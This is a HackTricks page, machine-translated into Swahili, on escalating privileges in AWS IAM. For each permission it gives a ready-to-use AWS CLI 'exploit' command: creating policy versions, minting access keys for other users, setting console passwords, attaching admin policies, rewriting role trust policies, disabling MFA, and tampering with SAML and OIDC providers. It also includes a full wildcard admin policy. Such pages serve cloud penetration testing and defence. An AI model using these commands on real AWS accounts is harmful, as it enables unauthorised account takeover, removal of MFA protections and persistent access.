AWS - IAM Privesc

Support HackTricks

IAM

Kwa maelezo zaidi kuhusu IAM angalia:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikipita hitaji la ruhusa ya iam:SetDefaultPolicyVersion kwa kutumia bendera --set-as-default. Hii inaruhusu kufafanua ruhusa maalum.

Exploit Command:

aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Madhara: Inapandisha moja kwa moja mamlaka kwa kuruhusu hatua yoyote kwenye rasilimali yoyote.

iam:SetDefaultPolicyVersion

Inaruhusu kubadilisha toleo la kawaida la sera ya IAM kuwa toleo lingine lililopo, ambayo inaweza kuongeza mamlaka ikiwa toleo jipya lina ruhusa zaidi.

Amri ya Bash:

aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Madhara: Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuwezesha ruhusa zaidi.

iam:CreateAccessKey

Inaruhusu kuunda kitambulisho cha ufikiaji na ufunguo wa siri wa ufikiaji kwa mtumiaji mwingine, ikisababisha kuweza kuinua hadhi.

Kuvunja:

aws iam create-access-key --user-name <target_user>

Madhara: Kuinua kibali moja kwa moja kwa kudai ruhusa za mtumiaji mwingine.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Inaruhusu kuunda au kuboresha profaili ya kuingia, ikiwa ni pamoja na kuweka nywila za kuingia kwenye AWS console, na kusababisha kuinua kibali moja kwa moja.

Dhamira ya Uumbaji:

aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Kuvunja kwa Sasisho:

aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Madhara: Kuinua kibali moja kwa moja kwa kuingia kama "mtumiaji yeyote".

iam:UpdateAccessKey

Inaruhusu kuwezesha ufunguo wa upatikanaji uliozuiliwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji ana ufunguo uliozuiliwa.

Kuvunja:

aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Madhara: Kuinua haki moja kwa moja kwa kurejesha funguo za ufikiaji.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Inaruhusu kuunda au kurekebisha ithibati za huduma maalum za AWS (mfano, CodeCommit, Amazon Keyspaces), ikirithi ruhusa za mtumiaji anayehusishwa.

Dhamira ya Uundaji:

aws iam create-service-specific-credential --user-name <username> --service-name <service>

Kuvunja kwa Upya:

aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Madhara: Kuinua kibali moja kwa moja ndani ya ruhusa za huduma za mtumiaji.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Inaruhusu kuambatisha sera kwa watumiaji au vikundi, kwa moja kwa moja kuinua kibali kwa kurithi ruhusa za sera iliyounganishwa.

Kuvunja kwa Mtumiaji:

aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Kuvunja kwa Kundi:

aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Athari: Kuinua moja kwa moja kwa ruhusa kwa chochote ambacho sera inatoa.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, ikiruhusu kuinua moja kwa moja kwa ruhusa kwa kutoa ruhusa za ziada.

Kudukua kwa Jukumu:

aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Kuvunja kwa Sera za Inline:

aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Unaweza kutumia sera kama:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": [
"*"
]
}
]
}

Madhara: Kuinua kibali moja kwa moja kwa kuongeza ruhusa kupitia sera.

iam:AddUserToGroup

Inaruhusu kuongeza mtu mwenyewe kwenye kundi la IAM, ikipandisha kibali kwa kurithi ruhusa za kundi.

Kuvunja:

aws iam add-user-to-group --group-name <group_name> --user-name <username>

Madhara: Kuinua kibali moja kwa moja hadi kiwango cha ruhusa za kikundi.

iam:UpdateAssumeRolePolicy

Inaruhusu kubadilisha hati ya sera ya kudhani jukumu la jukumu, ikiruhusu kudhani jukumu hilo na ruhusa zake zinazohusiana.

Kuvunja:

aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Wakati sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Madhara: Kuinua kibali moja kwa moja kwa kudai ruhusa za jukumu lolote.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Inaruhusu kupakia funguo za umma za SSH kwa ajili ya uthibitishaji kwenye CodeCommit na kuzima vifaa vya MFA, ikisababisha kuinua kibali kisicho moja kwa moja.

Kuvunja kwa Kupakia Funguo za SSH:

aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Kuvunja kwa Kuondoa MFA:

aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impact: Kuongeza hadhi isiyo ya moja kwa moja kwa kuwezesha ufikiaji wa CodeCommit au kuzima ulinzi wa MFA.

iam:ResyncMFADevice

Inaruhusu upya wa kifaa cha MFA, ambayo inaweza kusababisha kuongeza hadhi isiyo ya moja kwa moja kwa kudhibiti ulinzi wa MFA.

Bash Command:

aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impact: Kuongeza mamlaka kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Kwa ruhusa hizi unaweza kubadilisha metadata ya XML ya muunganisho wa SAML. Kisha, unaweza kutumia shirikisho la SAML ku ingia na jukumu lolote ambalo linatumaini hilo.

Kumbuka kwamba kufanya hivi watumiaji halali hawawezi kuingia. Hata hivyo, unaweza kupata XML, hivyo unaweza kuweka yako, kuingia na kuunda mipangilio ya awali.

# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

TODO: Chombo kinachoweza kuunda metadata ya SAML na kuingia na jukumu lililobainishwa

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Haijulikani kuhusu hii) Ikiwa mshambuliaji ana idhini hizi anaweza kuongeza Thumbprint mpya ili kuweza kuingia katika majukumu yote yanayotegemea mtoa huduma.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

References

Support HackTricks

Last updated